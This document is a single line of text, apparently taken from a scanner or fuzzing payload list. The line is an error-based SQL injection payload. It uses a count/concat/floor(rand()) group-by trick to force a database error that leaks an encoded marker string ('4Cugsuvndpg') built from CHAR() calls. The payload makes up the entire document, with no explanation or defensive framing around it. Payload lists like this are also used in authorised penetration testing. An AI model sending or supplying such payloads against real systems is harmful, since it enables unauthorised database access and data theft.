(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(103),CHAR(115),CHAR(117),CHAR(118),CHAR(110),CHAR(100),CHAR(112),CHAR(103)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))